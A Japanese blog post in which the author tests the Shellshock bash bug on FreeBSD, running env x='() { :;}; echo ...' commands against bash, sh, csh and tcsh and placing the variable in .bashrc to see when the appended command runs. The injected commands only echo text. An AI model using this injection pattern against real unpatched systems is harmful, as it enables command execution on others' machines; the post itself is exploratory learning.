これ http://seclists.org/oss-sec/2014/q3/649いろんな方がわかりやすく解説・まとめておられるので、そういうのがほしい方はそちらを読むといいと思います。ここでは遊んでみるだけですので参考にはなりませぬ。
あと、Linuxじゃないです。
環境について
1
2
3
4
5
6
7
8
9
10
|
$ uname -a
FreeBSD test 10.0-RELEASE FreeBSD 10.0-RELEASE #0 r260789: Thu Jan 16 22:34:59 UTC 2014 root@snap.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64
$ bash --version
GNU bash, version 4.3.24(0)-release (amd64-portbld-freebsd10.0)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
|
まずは普通にテスト
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
[kunst@test ~]$ env x='() { :;}; echo vulnerable' bash -c "echo lovenico!"
vulnerable
lovenico!
[kunst@test ~]$ env x='() { :;}; echo vulnerable' bash -c 'ls'
vulnerable
aaa
[kunst@test ~]$ env x='() { :;}; echo vulnerable' echo hogehoge
hogehoge
[kunst@test ~]$ env x='() { :;}; echo vulnerable' ls
aaa
[kunst@test ~]$ env x='() { :;}; echo vulnerable'
x=() { :;}; echo vulnerable
HOST=test
### 以下略
|
ちょと待て、envコマンドについてちゃんと理解していない
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$ man env
ENV(1) FreeBSD General Commands Manual ENV(1)
NAME
env -- set environment and execute command, or print environment
SYNOPSIS
env [-iv] [-P altpath] [-S string] [-u name] [name=value ...]
[utility [argument ...]]
DESCRIPTION
The env utility executes another utility after modifying the environment
as specified on the command line. Each name=value option specifies the
setting of an environment variable, name, with a value of value. All
such environment variables are set before the utility is executed.
|
以下略
envコマンドは環境変数を書き換えてからコマンドを実行するコマンド。
もう一度確認してみよう
1
2
3
4
5
6
7
8
9
10
11
|
[kunst@test ~]$ echo $SHELL
/usr/local/bin/bash
[kunst@test ~]$ env x='() { :;}; echo aho' bash -c "echo"
aho
[kunst@test ~]$ env x='() { :;}; echo aho' sh -c "echo"
[kunst@test ~]$ env x='() { :;}; echo aho' csh -c "echo"
[kunst@test ~]$ env x='() { :;}; echo aho' tcsh -c "echo"
|
1
2
3
4
5
6
7
8
9
10
11
|
$ echo $SHELL
/bin/tcsh
$ env x='() { :;}; echo aho' bash -c "echo"
aho
$ env x='() { :;}; echo aho' sh -c "echo"
$ env x='() { :;}; echo aho' csh -c "echo"
$ env x='() { :;}; echo aho' tcsh -c "echo"
|
なるほど、つまりこういうことね
1
2
3
4
5
6
|
$ echo "x='() { :;}; echo aho'">>.bashrc
$ bash
[kunst@test ~]$
[kunst@test ~]$ echo $x
() { :;}; echo aho
|
・・・・・・ありゃ???
1
2
3
4
5
|
$ echo "export x='() { :;}; echo aho'" > .bashrc
$ bash
[kunst@test ~]$ bash
aho
|
おお、なるほど、うむ。
つまり
「関数定義とコマンドが並べて書かれた環境変数を保持したbashからbashを呼び出すとコマンドが実行される」っていう現象なんですねぇ。